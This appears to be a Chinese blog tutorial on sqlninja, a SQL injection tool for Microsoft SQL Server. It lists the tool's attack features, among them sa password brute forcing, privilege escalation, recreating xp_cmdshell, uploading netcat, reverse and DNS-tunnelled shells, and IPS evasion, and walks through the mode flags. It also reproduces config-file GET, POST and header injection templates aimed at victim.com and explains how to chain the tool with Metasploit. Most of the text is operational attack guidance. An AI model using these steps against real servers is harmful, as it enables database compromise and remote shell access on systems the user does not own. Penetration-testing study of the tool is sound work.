首先来介绍一下sqlninja的优点。

  • 一个专门针对Microsoft SQL Server的sql注入工具
  • 可找到远程SQL服务器的标志和特征(版本、用户执行的查询、用户特权、xp_cmdshell的可用性、身份验证模式等)
  • “sa”口令的强力攻击
  • 如果找到口令后,就将特权提升到“sa”
  • 如果原始的xp_cmdshell被禁用后,就创建一个定制的xp_cmdshell。
  • 使用纯粹的ASCII GET/POST请求来上载netcat.exe程序(以及其它任何可执行的程序),因此并不需要FTP连接。
  • 为了找到目标网络的防火墙所允许的端口,可以实施针对目标SQL 服务器的TCP/UDP端口扫描。
  • 逃避技术,这是为了使注入式代码“模糊”不清,并且混淆/绕过基于签名的IPS和应用层防火墙。
  • 采用“盲目执行”攻击模式,在其它模式失效时,可以用于发布命令并执行诊断。
  • 在sqlninja生成的SQL代码上,执行的是自动化的URL编码,这使得用户可以更精细地控制漏洞利用的字符串。
  • 如果得到权限为sa,可以结合msf进一步对目标主机进行渗透。

sqlninja的一些常用命令.

./sqlninja
-m <mode> : Required. Available modes are: //加载modle
t/test - test whether the injection is working //测试注入点是否可用
f/fingerprint - fingerprint user, xp_cmdshell and more
b/bruteforce - bruteforce sa account //爆破sa口令用的。。可以-w指定字典,也可以不使用字典,这样sqlninja就会自己穷举
e/escalation - add user to sysadmin server role
x/resurrectxp - try to recreate xp_cmdshell //尝试创建
u/upload - upload a .scr file //上传
s/dirshell - start a direct shell //获得一个目标主机的shell
k/backscan - look for an open outbound port //查找目标主机允许哪些端口外连
r/revshell - start a reverse shell //反弹shell
d/dnstunnel - attempt a dns tunneled shell
c/sqlcmd - issue a 'blind' OS command //执行系统命令,如果为sa的话直接可以net user
m/metasploit - wrapper to Metasploit stagers //配合msf使用
-f <file> : configuration file (default: sqlninja.conf) //配置sqlninja.conf文件
-p <password> : sa password
-w <wordlist> : wordlist to use in bruteforce mode (dictionary methodonly) //字典文件的路径。。爆破sa密码用的
-v : verbose output
-d <mode> : activate debug //调试模式
1 - print each injected command
2 - print each raw HTTP request
3 - print each raw HTTP response
all - all of the above
在-f下面又有以下参数
0 - Database version (2000/2005) //检测当前数据库版本
1 - Database user //当前数据库用户
2 - Database user rights //当前数据库用户权限
3 - Whether xp_cmdshell is working //检查xp_cmdshell是否可以用
4 - Whether mixed or Windows-only authentication is used //是否windows本地系统权限
a - All of the above //以上所有选项
h - Print this menu //显示当前帮助菜单
q - exit //退出

刚开是搞的时候,在网上搜了半天的资料也没有找到怎么注入链接,参数里面没有像 sqlmap那样有 -u参数,最后才知道是在配置目录下的sqlninja.conf配置文件,打开配置文件后发现里面的选项特别

多,这里只是简单的进行注入,在配置文件中找到如下信息

# GET EXAMPLE:
--httprequest_start--
GET http://www.xxx.com/informationdetail.aspx?id=11&titleid=%e3h;__SQL2INJECT__ HTTP/1.1
Host: www.xxxx.com
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept:*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: Keep-alive
--httprequest_end--
#
# POST EXAMPLE: (The Content-Length Header is automatically added by sqlninja!)
# --httprequest_start--
# POST https://www.victim.com/page.asp HTTP/1.0
# Host: www.victim.com
# User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
# Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
# Accept-Language: en-us,en;q=0.7,it;q=0.3
# Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# Content-Type: application/x-www-form-urlencoded
# Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
# Authorization: Basic yyyyyyyyyyyyyyyyyyyyy
# Connection: close
#
# vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah
# --httprequest_end--
#
# HEADER-BASED EXAMPLE:
# --httprequest_start--
# GET http://www.victim.com/page.asp HTTP/1.0
# Host: www.victim.com
# User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
# Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
# Accept-Language: en-us,en;q=0.7,it;q=0.3
# Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# Content-Type: application/x-www-form-urlencoded
# Cookie: VulnCookie=xxx'%3B__SQL2INJECT__
# Connection: close
# --httprequest_end--
#

这里有三种方式GET,POST,HEADER-BASED三个配置例子,根据你的注入点进行抓包判断,修改里面对应的信息,如果 你会发现每个注入链接会有个;__SQL2INJECT__。所以在配置的时候不要忘记了加上。 如果要使用其他的功能比如结合msf的话,请自行加上相应的配置,以上步骤配置完成后,就可以进行测试了。

用./sqlninja -m test命令检测注入点是否可用。成功的话会显示[+] Injection was successful! Let’s rock !! 那么就可以使用上面提到的命令。

使用./sqlninja -m metasploit命令可以和msf相结合起来,让渗透更加方便,如果使用metasploit里面的shellcode,这个默认是没有启用的,需要修改sqlninja.conf中metasploit配置位置修改 # Path to metasploit executable. Only needed if msfpayload and # msfcli are not already in the path msfpath = /pentest/exploits/framework3/   #去掉前面的注释符号,这里修改成你的framework3的安装位置。 如果有写的不对的地方,欢迎留言更正。 如果需要更详细的了解可以去http://sqlninja.sourceforge.net/sqlninja-howto.html 看看

最新文章

  1. 记从安装centos系统在到使用mono3.2部署MVC过程遇到的问题
  2. js array queue (队列)
  3. 利用HTML5的History API实现无刷新跳转页面初探
  4. ubuntu下nginx的启停等常用命令
  5. Oracle Erp常用网站
  6. StringBuilder的Append()方法会比+=效率高
  7. linux管道学习(一)
  8. 【MongoDB】应用场景
  9. app发布流程详解
  10. Myeclipse代码提示及如何设置自动提示
  11. ios复制到剪贴板
  12. ocr智能图文识别 tess4j 图文,验证码识别 分享及所遇到的问题
  13. 微信原图泄露的只能是 Exif ,你的隐私不在这!!!
  14. CentOS7 设置yum源
  15. Idea 创建控制台程序
  16. 报错:Failed on local exception: Host Details : local host is: &quot;master/192.168.52.26&quot;; dest
  17. Java并发辅助类的使用
  18. leetcode ----ARRAY TWOSUM
  19. Transaction Check Error:file /usr/libexec/getconf/default conflicts between attempted installs of gcc-6.4.1-1.fc25.i686 and gcc-6.4.1-1.fc25.x86_64
  20. YII登陆错误 mcrypt_create_iv()

热门文章

  1. meta的Name为apple-itunes-app 是什么意思
  2. android 电容屏(三):驱动调试之驱动程序分析篇
  3. python中的commands模块
  4. 什么是WebService
  5. 结构体 typedef struct hash_cell_struct hash_cell_t;
  6. oralce索引和分区索引的使用
  7. LeetCode Binary Tree Level Order Traversal (按层收集元素)
  8. java中正则表达式
  9. APK中java代码反编译
  10. SharePoint 2010 master page 控件介绍(5):其他